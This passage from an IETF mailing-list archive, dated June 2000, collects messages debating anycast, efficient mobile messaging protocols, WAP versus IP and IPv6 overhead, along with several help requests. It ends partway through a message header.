where needed. Whatever needed was allready there or few trimmings where
required.

For instance was UUNETs usage of Anycast for PIM Rendez-vous Points presented.
They used a trick which seems to be accepted as the only thing really
required to acheive the anycast service. They uses an unicast IP address which
they set common for all the RPs that so require, then they insert this IP
address into the normal unicast routing and the routing will find the
"best" path. While it migth be a bit confusing that it is actually diffrent
physical positions this is really not diffrent than having a multihomed box
having access to widely separated network segments.

Mr. Ohta presented the usage of Anycast in DNS root server handling over
multiple ASs.

The GIA proposal was a proposal for a complete anycast architecture according
to the ideas as presented with IPv6.

Anyway, you check these presentations and the report from the meeting in case
you have not yeat done so.

So, there is even some form of Anycast support in IPv4.

I am sure that Mr. Deering, Mr. Alvestrand and Mr. Ohta can contribute further
on this issue if so required.

Cheers,
Magnus



From owner-ietf-outbound  Mon Jun 26 09:10:27 2000
Received: by ietf.org (8.9.1a/8.9.1a) id JAA04147
	for ietf-outbound.10@ietf.org; Mon, 26 Jun 2000 09:10:02 -0400 (EDT)
Received: from rip.psg.com (rip.psg.com [147.28.0.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA04057
	for <ietf@ietf.org>; Mon, 26 Jun 2000 09:07:33 -0400 (EDT)
Received: from randy by rip.psg.com with local (Exim 3.13 #1)
	id 136YbP-000APG-00; Mon, 26 Jun 2000 06:07:03 -0700
From: Randy Bush <randy@psg.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
To: Mohsen BANAN-Public <public@mohsen.banan.1.byname.net>
Cc: IETF Mailing List <ietf@ietf.org>
Subject: Re: Seeking Open Mobile Messaging Protocols -- Efficient E-Mail
References: <20000626053311.10599.qmail@tooran.byname.net>
Message-Id: <E136YbP-000APG-00@rip.psg.com>
Date: Mon, 26 Jun 2000 06:07:03 -0700
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

> Existing SMTP/IMAP/TCP technology is not well suited for
> mobile and wireless environments where bandwidth and
> capacity are always limited and precious.

ahhh yes.  that 640k video buffer again.  historically every time we have
made a large kludge to save bits we have looked very stupid in far less time
than we ever imagined.  and yes, i understand the bandwidth issue.

randy



From owner-ietf-outbound  Mon Jun 26 09:20:23 2000
Received: by ietf.org (8.9.1a/8.9.1a) id JAA04507
	for ietf-outbound.10@ietf.org; Mon, 26 Jun 2000 09:20:02 -0400 (EDT)
Received: from astro.cs.utk.edu (ASTRO.CS.UTK.EDU [128.169.93.168])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA04269
	for <ietf@ietf.org>; Mon, 26 Jun 2000 09:13:23 -0400 (EDT)
Received: from astro.cs.utk.edu (LOCALHOST [127.0.0.1])
        by astro.cs.utk.edu (cf 8.9.3) with ESMTP id JAA14177;
        Mon, 26 Jun 2000 09:13:21 -0400 (EDT)
Message-Id: <200006261313.JAA14177@astro.cs.utk.edu>
X-URI: http://www.cs.utk.edu/~moore/
From: Keith Moore <moore@cs.utk.edu>
To: Mohsen BANAN-Public <public@mohsen.banan.1.byname.net>
cc: IETF Mailing List <ietf@ietf.org>
Subject: Re: Seeking Open Mobile Messaging Protocols -- Efficient E-Mail 
In-reply-to: Your message of "26 Jun 2000 05:33:11 -0000."
             <20000626053311.10599.qmail@tooran.byname.net> 
Date: Mon, 26 Jun 2000 09:13:21 -0400
Sender: moore@cs.utk.edu
X-Loop: ietf@ietf.org

> From: Mohsen BANAN-Public <public@mohsen.banan.1.byname.net>
> 
> Existing SMTP/IMAP/TCP technology is not well suited for
> mobile and wireless environments where bandwidth and
> capacity are always limited and precious.
> 
> 
> More efficient protocols are needed to address the new
> reality of mobile and wireless networks. I am seeking
> open protocols which are better suited to address the
> requirements of mobile and wireless networks.

we are in agreement so far.  however I would say that the new
protocols need to operate effectively not only in a 
mobile/wireless network, but also in a wired network, or in
a mixed network that consists of both wireless and wired links.
 
> The key functional requirements for the protocols that
> I am seeking are:
> 
>  -  Provide for the submission and delivery of short
>     (4 kilobytes or less) Internet e-mail messages 
>     with the same level of functionality (or higher)
>     that the existing SMTP protocols provide.
> 
>  -  Provide the same (or better) level of reliability
>     and security that the existing SMTP protocols provide.
> 
>  -  Make reasonable trade-offs between specification complexity,
>     implementation complexity, extendibility, scalability and efficiency.
> 
>  -  Provide the required efficiency characteristics. These include:
>     minimizing the number of transmissions, minimizing the number of
>     bytes transmitted, minimizing the latency of message
>     submission and delivery.

let me suggest a few additional requirements:

- high degree of functional compatibility with existing mail protocols
  (SMTP/MIME/POP/IMAP) so that there is not a lot of information
  lost when mail is gatewayed between the two environments; also
  so that I18N is supported in a way compatible with existing standards.

- congestion avoidance that competes fairly with TCP

- ability to resist denial-of-service attacks that attempt to consume
  server connection/session state (similar to SYN flooding attacks)
 
Keith



From owner-ietf-outbound  Mon Jun 26 09:40:06 2000
Received: by ietf.org (8.9.1a/8.9.1a) id JAA05255
	for ietf-outbound.10@ietf.org; Mon, 26 Jun 2000 09:40:02 -0400 (EDT)
Received: from shardagate.mahindrabt.com (root@[206.102.1.162])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA05166
	for <ietf@ietf.org>; Mon, 26 Jun 2000 09:37:11 -0400 (EDT)
Received: (from uucp@localhost)
	by shardagate.mahindrabt.com (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id TAA29191;
	Mon, 26 Jun 2000 19:05:51 +0530
Received: from UNKNOWN(10.5.0.15), claiming to be "intranet.sharda.mahindrabt.com"
 via SMTP by shardagate, id smtpdnA8tq0; Mon Jun 26 19:05:46 2000
Received: from mahindrabt.com ([10.4.8.166])
	by intranet.sharda.mahindrabt.com (8.9.3/8.9.3) with ESMTP id TAA26799;
	Mon, 26 Jun 2000 19:05:46 +0530
Message-ID: <38CCEFD4.67E8A8D5@mahindrabt.com>
Date: Mon, 13 Mar 2000 19:10:36 +0530
From: Sunil Chinjwani <sunilkc@mahindrabt.com>
X-Mailer: Mozilla 4.7 [en] (Win95; I)
X-Accept-Language: en
MIME-Version: 1.0
To: "ietf@ietf.org" <ietf@ietf.org>, "www-html@w3.org" <www-html@W3.ORG>
Subject: Address Book Problem....
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

Hello Friends,
    I need some help desperately. I want to develop an application in
which I have to present the user with the facility of using his address
book, which is actually present on the desktop, to be exported to a
database present on the server. For this thing to take place seamlessly,
I have to present the user with a Html page having one button for
opening a File open dialog box. This button will be used by the user to
open the dialog , where he will click the file containing his address
book. Then on selection of the file, all the addresses in his book
should be populated on the Html form in a list box . Then he can select
any of his addresses with the help of checkboxes and send it to the
server database .
    I know that this thing calls for using the API  for peculiar
commands of the Browsers' address book application and I want to know
the source of such documentation for both the Netscape browsers and also
the IE. Will any of u please give me vital information in this regard ?
    Thank u and waiting for your replies in earnest.
Sunil.



From owner-ietf-outbound  Mon Jun 26 11:40:42 2000
Received: by ietf.org (8.9.1a/8.9.1a) id LAA08783
	for ietf-outbound.10@ietf.org; Mon, 26 Jun 2000 11:40:02 -0400 (EDT)
Received: from black-ice.cc.vt.edu (root@black-ice.cc.vt.edu [128.173.14.71])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA08705
	for <ietf@ietf.org>; Mon, 26 Jun 2000 11:35:27 -0400 (EDT)
From: Valdis.Kletnieks@vt.edu
Received: from black-ice.cc.vt.edu (valdis@LOCALHOST [127.0.0.1])
	by black-ice.cc.vt.edu (8.11.0.Beta1/8.11.0.Beta1) with ESMTP id e5QFWaP27902;
	Mon, 26 Jun 2000 11:32:36 -0400
Message-Id: <200006261532.e5QFWaP27902@black-ice.cc.vt.edu>
X-Mailer: exmh version 2.2 06/16/2000 with nmh-1.0.4+dev
To: narakamath@lightel.com
Cc: phil@nesser.com, iepg@iepg.org, nanog@nanog.org, ietf@ietf.org
Subject: Re: IEPG Meeting - IP Addressing 
In-Reply-To: Your message of "Sun, 25 Jun 2000 08:01:03 PDT."
             <20000625150103.16638.cpmta@c014.sfo.cp.net> 
X-Url: http://black-ice.cc.vt.edu/~valdis/
X-Face: 34C9$Ewd2zeX+\!i1BA\j{ex+$/V'JBG#;3_noWWYPa"|,I#`R"{n@w>#:{)FXyiAS7(8t(
 ^*w5O*!8O9YTe[r{e%7(yVRb|qxsRYw`7J!`AM}m_SHaj}f8eb@d^L>BrX7iO[<!v4-0bVIpaxF#-)
 %9#a9h6JXI|T|8o6t\V?kGl]Q!1V]GtNliUtz:3},0"hkPeBuu%E,j(:\iOX-P,t7lRR#
References: <20000625150103.16638.cpmta@c014.sfo.cp.net>
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="==_Exmh_1249256240P";
	 micalg=pgp-sha1; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7bit
Date: Mon, 26 Jun 2000 11:32:35 -0400
X-Loop: ietf@ietf.org

--==_Exmh_1249256240P
Content-Type: text/plain; charset=us-ascii

On Sun, 25 Jun 2000 08:01:03 PDT, narakamath@lightel.com said:
> IPv4 is running out of space but IPv6 is too much overhead.

You'd get a lot more usable response if you explained WHY you felt IPv6 is
too much overhead.  Often, the complaint is (for example) "It takes too long
to send a packet on a modem/PPP link", but they didn't have any IPv6 header
compression enabled, or some similar problem.
-- 
				Valdis Kletnieks
				Operating Systems Analyst
				Virginia Tech





--==_Exmh_1249256240P
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: PGP 6.5.2
Comment: Exmh version 2.2 06/16/2000

iQA/AwUBOVd3knAt5Vm009ewEQK0ogCfZk9bV/t+OMKHaX1rWQU7EHOK8+8AoI5A
4VlrQam5kTDjlKZNyPM1PZ9E
=Pp75
-----END PGP SIGNATURE-----

--==_Exmh_1249256240P--



From owner-ietf-outbound  Mon Jun 26 14:30:42 2000
Received: by ietf.org (8.9.1a/8.9.1a) id OAA12978
	for ietf-outbound.10@ietf.org; Mon, 26 Jun 2000 14:30:02 -0400 (EDT)
Received: from ennovatenetworks.com (ennovatenetworks.com [208.227.99.254])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA12889
	for <ietf@ietf.org>; Mon, 26 Jun 2000 14:26:38 -0400 (EDT)
Received: from broncos (broncos.tst.ennovatenetworks.com [10.1.1.208])
	by ennovatenetworks.com (8.8.7/8.8.7) with SMTP id OAA28196;
	Mon, 26 Jun 2000 14:25:31 -0400 (EDT)
	(envelope-from bkumar@ennovatenetworks.com)
Reply-To: <bkumar@ennovatenetworks.com>
From: "Brijesh Kumar" <bkumar@ennovatenetworks.com>
To: "'Vernon Schryver'" <vjs@calcite.rhyolite.com>, <ietf@ietf.org>
Subject: RE: WAP and IP
Date: Mon, 26 Jun 2000 14:29:31 -0400
Message-ID: <005d01bfdf9c$78eaa8c0$d001010a@tst.ennovatenetworks.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
In-Reply-To: <200006240204.UAA21947@calcite.rhyolite.com>
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit


Vernon Schryver writes
> -----Original Message-----

> > From: Mohsen BANAN-Public <public@mohsen.banan.1.byname.net>
>
> > ...
> >  There is a genuine need for a reliable efficient transport that
> >  accommodates *short* and *occasional* exchanges.
> >
> >  There are many occasions where UDP is too little and TCP
> is too much.
>
> I've often heard that from telephant advocates, but I've never seen
> anything plausible from them.

See, my friend, if you call any one who doesn't agree with your views
on TCP/IP with names like "telephant advocate", reasoning is not going
to convince you. It is like convincing a life long republican to vote
for Al Gore - he/she has already closed the door to make sure that
nothing can come in.

Mohsen may be accused of any thing, but calling Mohsen whose aim is to
create an open alternative to WAP is hilarious. And, Mohsen at least
understands the issues involved in wireless cellular communication,
something that can be said of many other TCP/IP for every thing
advocates.

Cheers,

--brijesh
(personal opinions only)



From owner-ietf-outbound  Mon Jun 26 15:30:11 2000
Received: by ietf.org (8.9.1a/8.9.1a) id PAA14507
	for ietf-outbound.10@ietf.org; Mon, 26 Jun 2000 15:30:02 -0400 (EDT)
Received: from calcite.rhyolite.com (calcite.rhyolite.com [38.159.140.3])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA14279
	for <ietf@ietf.org>; Mon, 26 Jun 2000 15:21:37 -0400 (EDT)
Received: (from vjs@localhost)
	by calcite.rhyolite.com (8.9.3/calcite) id NAA07207
	for ietf@ietf.org  env-from <vjs>;
	Mon, 26 Jun 2000 13:21:28 -0600 (MDT)
Date: Mon, 26 Jun 2000 13:21:28 -0600 (MDT)
From: Vernon Schryver <vjs@calcite.rhyolite.com>
Message-Id: <200006261921.NAA07207@calcite.rhyolite.com>
To: ietf@ietf.org
Subject: RE: WAP and IP
X-Loop: ietf@ietf.org

I apologize for this and my previous messages.  I didn't realize I was
talking to members of the IPv8 Brigade.

> From: "Brijesh Kumar" <bkumar@ennovatenetworks.com>

> ...
> Mohsen may be accused of any thing, but calling Mohsen whose aim is to
> create an open alternative to WAP is hilarious. And, Mohsen at least
> understands the issues involved in wireless cellular communication,
> something that can be said of many other TCP/IP for every thing
> advocates.

There's plenty of hilarity to go around in any discussion where people
are 

  - insisting that a protocol is patent free without bothering to do a
   patent search for all of the ideas used in the protocol.  Never mind
   the mysterious ways that patents can appear, or the enormous joke in
   the notion of being able to predict what the patent system might
   consider a patentable idea.

  - claiming that Mohsen BANAN's protocols are more open than those of
   WAP despite their editorial history.

  - persistently, unbendingly claiming that 14000 bit/sec is a bit rate 
   that is radically lower than anything ever before used for TCP/IP.

  - claiming that the current and prospective webphone screens and
   keybaords could be useful for anything that might need even 140 bit/sec.
   Anyone who has tried to use those silly screens, keyboards, and thumb
   wheels merely to configure a phone or use a built-in directory (and
   isn't a telephant salescritter) must laugh at that the image of surfing
   the web, getting directions, buying anything other than air time, or
   doing anything you couldn't do just as well with an analog cell phone
   everywhere on earth that WAP will be available.

  - claiming that the IETF or any other standards committee could,
   even if it wanted, prevent or slow the adoption of genuinely better
   protocols.

  - demanding that "access" to the IETF publishing process be openned.

Everyone who advocates keeping the RFC press open to any except official
products of working groups should read Mohsen BANAN's RFC's and
draft-terrell-logic-analy-bin-ip-spec-ipv7-ipv8-08.txt

It's not enough to talk about keeping the IETF open.  You must look at
the concrete consequences of the current implementation of openness.
A press that tries to publish absolutely everything soon becomes a vanity
press that publishes nothing read by anyone except its author.  Editing
is not only about suggesting fixes for spelling errors.  An editor that
rarely rejects a manuscript isn't.  An open standards organization without
real technical editing, including a lot of rejections with prejudice, is
in the end not open to anything except lunatic adovcacy.

We all, including the IPv8 Brigade, would be better served if the IETF
left electronic vanity publishing to the world wide web, and only
published official products of working groups of "legacy programmers."
If no working group will adopt a draft or even form to adopt a draft, then
the idea is bad or the IETF is dead, and in either case, the IETF should
not publish it.


As someone says, openness to good ideas does not involve opening your
skull and letting your brain fall out.


Vernon Schryver    vjs@rhyolite.com



From owner-ietf-outbound  Mon Jun 26 20:00:20 2000
Received: by ietf.org (8.9.1a/8.9.1a) id UAA17211
	for ietf-outbound.10@ietf.org; Mon, 26 Jun 2000 20:00:02 -0400 (EDT)
Received: from mgate-01.teledesic.com (mgate-01.teledesic.com [216.190.22.41])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA17157
	for <ietf@ietf.org>; Mon, 26 Jun 2000 19:51:14 -0400 (EDT)
Received: by mgate-01.teledesic.com with Internet Mail Service (5.5.2650.21)
	id <NWB4TV6B>; Mon, 26 Jun 2000 16:44:50 -0700
Message-ID: <25D0C66E6D25D311B2AC0008C7913EE0DE89FF@tdmail2.teledesic.com>
From: Dan Kohn <dan@dankohn.com>
To: "Taylor, Johnny" <Johnny.Taylor@espire.net>,
        "Donald E. Eastlake 3rd"
	 <dee3@TORQUE.POTHOLE.COM>, ietf@ietf.org
Subject: RE: IP over MIME (was Re: WAP Is A Trap -- Reject WAP)
Date: Mon, 26 Jun 2000 16:36:51 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
X-Loop: ietf@ietf.org

I certainly hope you're joking.

If not, I can say definitively that this is certainly not Teledesic's view
of the world.  Teledesic (and it's sister network ICO) are being designed to
be great platforms for carrying IP.  (That means they will also be able to
do WAP, but that is hardly the focus.)

http://www.teledesic.com
http://www.ico.com

		- dan
--
Daniel Kohn <mailto:dan@dankohn.com>
tel:+1-425-602-6222
http://www.dankohn.com

-----Original Message-----
From: Taylor, Johnny [mailto:Johnny.Taylor@espire.net]
Sent: Wednesday, 2000-06-21 08:48
To: Donald E. Eastlake 3rd; ietf@ietf.org
Subject: RE: IP over MIME (was Re: WAP Is A Trap -- Reject WAP)


All,

I have seen a lot of different people bash WAP over the past two days.
However, I
am a firm believer that WAP will become what IP is to us today. When you
relate the 
technologies of today and the future technologies from a Telecommunication
stand point.
Then you will find IP is on the rise today and various Platforms are
integrating or
converging IP to their core networks. But when you equate the moves that are
taking
place for future solutions to the commercial or residential market. such as
The Teledesic 
Model or AOL or Manasamen; then you began to get a glimpse 
of the future of WAP. Therefore I think it becomes quite important for this
group to 
keep WAP as one of the main protocols of discussion / solutions. That's my
take on WAP!

Coming from the Brain!

JT 


-----Original Message-----
From: Donald E. Eastlake 3rd [mailto:dee3@torque.pothole.com]
Sent: Wednesday, June 21, 2000 7:31 AM
To: ietf@ietf.org
Subject: IP over MIME (was Re: WAP Is A Trap -- Reject WAP)


See <ftp://ftp.ietf.org//internet-drafts/draft-eastlake-ip-mime-03.txt>.

Donald

From:  Magnus Danielson <magda@netinsight.se>
To:  mohta@necom830.hpcl.titech.ac.jp
Cc:  karn@QUALCOMM.COM, public@mohsen.banan.1.byname.net, ietf@ietf.org
In-Reply-To:  <200006202042.FAA17413@necom830.hpcl.titech.ac.jp>
References:  <200006202022.NAA27444@servo.qualcomm.com>
	    	<200006202042.FAA17413@necom830.hpcl.titech.ac.jp>
Message-Id:  <20000621104040S.magda@netinsight.se>
Date:  Wed, 21 Jun 2000 10:40:40 +0200

>From: Masataka Ohta <mohta@necom830.hpcl.titech.ac.jp>
>Subject: Re: WAP Is A Trap -- Reject WAP
>Date: Wed, 21 Jun 0 5:42:32 JST
>
>> Phil;
>> 
>> > >IP over NAT is, in no way, end-to-end.
>> > 
>> > >WAP and IP over NAT are equally bad.
>> > 
>> > I think you're overstating your case. Yes, IP over NAT is bad, but
>> > it's nowhere near as bad as WAP.
>> 
>> If you think so, don't say "end-to-end".
>> 
>> > If you want, it is still possible to "reconstruct" a true end-to-end
>> > IP service by tunneling it through a NAT with something vaguely
>> > resembling mobile IP.
>> 
>> You can have IP over HTTP, IP over XML or IP over WAP equally easily.
>
>With IP over MIME you could even establish an IP connection over a mail
>gateway, firewall bypassing... Hmm.... the same goes for http proxies.
>
>> The problem, however, is that the reconstruction point is an
>> intelligent gateway which violates the end to end principle.
>
>Havent we learned to love and hate these breaking of layering?
>
>You can put basically anything over anything else when it comes to just
moving
>bits around. While doing this we get the additional benefits of increased
>propagation delay, increased overhead, often complexer solutions and a new
>bag of problems in the interworking area. Lovely. We can feed a lot of
>research and engineer mouths this way.
>
>Now, while NAT and WAP both intend to solve some problems, they provide
ground
>for new problems which naturally require new solutions. We should really
ask
>weither some of these problems really should be solved within that scope or
>not. If IP over WAP is a bag of worms, maybe one should bypass WAP
alltogether.
>Where we know that neither ATM, IP or NAT solves all the problems neither
will
>WAP.
>
>It is not really what you could do as what you should do. Naturally there
is
>allways politically and technical preferences which prohibits some
solutions.
>
>Cheers,
>Magnus
>



From owner-ietf-outbound  Mon Jun 26 23:10:47 2000
Received: by ietf.org (8.9.1a/8.9.1a) id XAA20650
	for ietf-outbound.10@ietf.org; Mon, 26 Jun 2000 23:10:01 -0400 (EDT)
Received: from inner.net (avarice.inner.net [199.33.248.2])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA20626
	for <ietf@ietf.org>; Mon, 26 Jun 2000 23:06:34 -0400 (EDT)
Received: from mosquito ([216.52.8.30])
	by inner.net (8.7.6/8.9.3) with ESMTP id CAA18010;
	Tue, 27 Jun 2000 02:58:46 GMT
Message-Id: <4.2.0.58.20000626230213.0097df10@avarice.inner.net>
X-Sender: rja@avarice.inner.net
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 
Date: Mon, 26 Jun 2000 23:03:39 -0400
To: Vernon Schryver <vjs@calcite.rhyolite.com>
From: RJ Atkinson <rja@inet.org>
Subject: RE: WAP and IP
Cc: ietf@ietf.org
In-Reply-To: <200006261921.NAA07207@calcite.rhyolite.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Loop: ietf@ietf.org

At 15:21 26/06/00 , Vernon Schryver wrote:
>   - persistently, unbendingly claiming that 14000 bit/sec is a bit rate 
>    that is radically lower than anything ever before used for TCP/IP.

         Those of us who have run voice over IP over 9600 bps HF radio
find the above claim particularly amusing.  (By the way, there
are deployed uses of voice over IP over 9600 bps HF radio today.  :-)

Ran
rja@inet.org



From owner-ietf-outbound  Tue Jun 27 05:31:07 2000
Received: by ietf.org (8.9.1a/8.9.1a) id FAA05448
	for ietf-outbound.10@ietf.org; Tue, 27 Jun 2000 05:30:01 -0400 (EDT)
Received: from wiproecmx2.wipro.com (wiproecmx2.wipro.com [164.164.31.6])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA05410;
	Tue, 27 Jun 2000 05:21:10 -0400 (EDT)
Received: from ecvwall1.wipro.com (ecvwall1.wipro.com [192.168.181.23])
	by wiproecmx2.wipro.com (8.9.3/8.9.3) with SMTP id OAA18130;
	Tue, 27 Jun 2000 14:58:07 GMT
Received: from wipro.com ([192.168.178.17]) by ecmail.mail.wipro.com
          (Netscape Messaging Server 3.6)  with ESMTP id AAA5EEB;
          Tue, 27 Jun 2000 14:42:38 +0530
Message-ID: <39587281.6113727E@wipro.com>
Date: Tue, 27 Jun 2000 14:53:13 +0530
From: "Shivendra Kumar" <shivendra.kumar@wipro.com>
Reply-To: shivendra.kumar@wipro.com
Organization: Wipro Technologies
X-Mailer: Mozilla 4.6 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: ietf@ietf.org, ietf-request@ietf.org
CC: Shivendra Kumar <shivendra.kumar@wipro.com>,
        Shaik Yunus Saleem <shaik.yunus@wipro.com>,
        Abhishek Bagchi <abhishek.bagchi@wipro.com>
Subject: SONET MIB Standards?
Content-Type: multipart/mixed;
 boundary="------------3FA7AA9C026C4AFC61A85E5E"
X-Loop: ietf@ietf.org

This is a multi-part message in MIME format.
--------------3FA7AA9C026C4AFC61A85E5E
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi friends,

   We are working on enabling SNMP provisioning of SONET features of a
transport Node.
   We are currently referring to RFC 2558 . But, this is not able to
serve our purpose.
   Please suggest us any other RFCs which may be relevant( We are
paticularly not
  able to find the alarm(Trap) Mib objects).

regards,
shivendra

--------------3FA7AA9C026C4AFC61A85E5E
Content-Type: text/x-vcard; charset=us-ascii;
 name="shivendra.kumar.vcf"
Content-Description: Card for Shivendra Kumar
Content-Disposition: attachment;
 filename="shivendra.kumar.vcf"
Content-Transfer-Encoding: 7bit

begin:vcard 
n:Kumar;Shivendra
tel;cell:98440-92528
tel;work:0091-80-8520420  extn 2107
x-mozilla-html:FALSE
org:Wipro Technologies;Telecom Solutions
version:2.1
email;internet:shivendra.kumar@wipro.com
title:Systems Manager
adr;quoted-printable:;;72, Keonics Electronics city =0D=0AHosur Main Road,=0D=0ABangalore- 561229;Bangalore;;;India
fn:Shivendra Kumar
end:vcard

--------------3FA7AA9C026C4AFC61A85E5E--



From owner-ietf-outbound  Tue Jun 27 07:10:12 2000
Received: by ietf.org (8.9.1a/8.9.1a) id HAA07161
	for ietf-outbound.10@ietf.org; Tue, 27 Jun 2000 07:10:02 -0400 (EDT)
Received: from prue.eim.surrey.ac.uk (IDENT:exim@prue.eim.surrey.ac.uk [131.227.76.5])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA07083
	for <ietf@ietf.org>; Tue, 27 Jun 2000 07:05:24 -0400 (EDT)
Received: from petra.ee.surrey.ac.uk ([131.227.88.13] ident=eep1lw)
	by prue.eim.surrey.ac.uk with esmtp (Exim 3.03 #1)
	id 136tAs-0006aI-00; Tue, 27 Jun 2000 12:05:03 +0100
Date: Tue, 27 Jun 2000 12:04:50 +0100 (BST)
From: Lloyd Wood <l.wood@eim.surrey.ac.uk>
X-Sender: eep1lw@petra.ee.surrey.ac.uk
Reply-To: L.Wood@eim.surrey.ac.uk
To: Brijesh Kumar <bkumar@ennovatenetworks.com>
cc: "'Vernon Schryver'" <vjs@calcite.rhyolite.com>, ietf@ietf.org
Subject: RE: WAP and IP
In-Reply-To: <005d01bfdf9c$78eaa8c0$d001010a@tst.ennovatenetworks.com>
Message-ID: <Pine.GSO.4.21.0006271202160.7021-100000@petra.ee.surrey.ac.uk>
Organization: speaking for none
X-url: http://www.ee.surrey.ac.uk/Personal/L.Wood/
X-no-archive: yes
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Loop: ietf@ietf.org

On Mon, 26 Jun 2000, Brijesh Kumar wrote:

> Mohsen may be accused of any thing, but calling Mohsen whose aim is to
> create an open alternative to WAP is hilarious. And, Mohsen at least
> understands the issues involved in wireless cellular communication,
> something that can be said of many other TCP/IP for every thing
> advocates.

I don't think that paragraph says anything remotely near what you
wanted it to say.

You'd be more convincing if you said less.

L.

<L.Wood@surrey.ac.uk>PGP<http://www.ee.surrey.ac.uk/Personal/L.Wood/>



From owner-ietf-outbound  Tue Jun 27 07:50:12 2000
Received: by ietf.org (8.9.1a/8.9.1a) id HAA08296
	for ietf-outbound.10@ietf.org; Tue, 27 Jun 2000 07:50:01 -0400 (EDT)
Received: from mailnnklmy.neuronet.com.my ([202.184.153.127])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA08011
	for <ietf@ietf.org>; Tue, 27 Jun 2000 07:42:28 -0400 (EDT)
Received: from don (gateway.neuronet.com.my [202.184.153.1]) by mailnnklmy.neuronet.com.my with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21)
	id NNL7AXDL; Tue, 27 Jun 2000 19:48:10 +0800
Message-ID: <003901bfe02a$fb651fe0$75f0a8c0@don>
From: "Don Balunos" <don.balunos@neuronet.com.my>
To: <ietf@ietf.org>
Subject: Firewall System
Date: Tue, 27 Jun 2000 19:29:39 +0800
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0036_01BFE06E.097C2AE0"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 4.72.3612.1700
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3612.1700
X-Loop: ietf@ietf.org

This is a multi-part message in MIME format.

------=_NextPart_000_0036_01BFE06E.097C2AE0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

now i'm out-sourcing a best firewall system for our company so can =
anyone help me on this.

thanks,

don =20

------=_NextPart_000_0036_01BFE06E.097C2AE0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN">
<HTML>
<HEAD>

<META content=3Dtext/html;charset=3Diso-8859-1 =
http-equiv=3DContent-Type>
<META content=3D'"MSHTML 4.72.3612.1706"' name=3DGENERATOR>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT size=3D2>now i'm out-sourcing a best firewall system for our =
company so=20
can anyone help me on this.</FONT></DIV>
<DIV><FONT size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT size=3D2>thanks,</FONT></DIV>
<DIV><FONT size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT size=3D2>don&nbsp;</FONT><FONT =
size=3D2>&nbsp;</FONT></DIV></BODY></HTML>

------=_NextPart_000_0036_01BFE06E.097C2AE0--



From owner-ietf-outbound  Tue Jun 27 08:50:27 2000
Received: by ietf.org (8.9.1a/8.9.1a) id IAA10220
	for ietf-outbound.10@ietf.org; Tue, 27 Jun 2000 08:50:02 -0400 (EDT)
Received: from zrtps06s.us.nortel.com ([47.140.48.50])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA10157
	for <ietf@ietf.org>; Tue, 27 Jun 2000 08:48:35 -0400 (EDT)
Received: from zmers013 (actually zmers013.ca.nortel.com) 
          by zrtps06s.us.nortel.com; Tue, 27 Jun 2000 08:47:45 -0400
Received: from rftzy230.ca.nortel.com by zmers013;
          Tue, 27 Jun 2000 08:47:30 -0400
Received: from nt.com (wftzh00e.ca.nortel.com [47.130.116.9]) 
          by rftzy230.ca.nortel.com 
          with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) 
          id NXV587Z1; Tue, 27 Jun 2000 08:47:29 -0400
Sender: "Marcus Leech" <mleech@nortelnetworks.com>
Message-ID: <3958A261.EF386163@nt.com>
Date: Tue, 27 Jun 2000 08:47:29 -0400
From: "Marcus Leech" <mleech@nortelnetworks.com>
X-Mailer: Mozilla 4.72C-CCK-MCD [en] (X11; U; HP-UX B.10.20 9000/785)
X-Accept-Language: en
MIME-Version: 1.0
To: RJ Atkinson <rja@inet.org>
CC: Vernon Schryver <vjs@calcite.rhyolite.com>, ietf@ietf.org
Subject: Re: WAP and IP
References: <4.2.0.58.20000626230213.0097df10@avarice.inner.net>
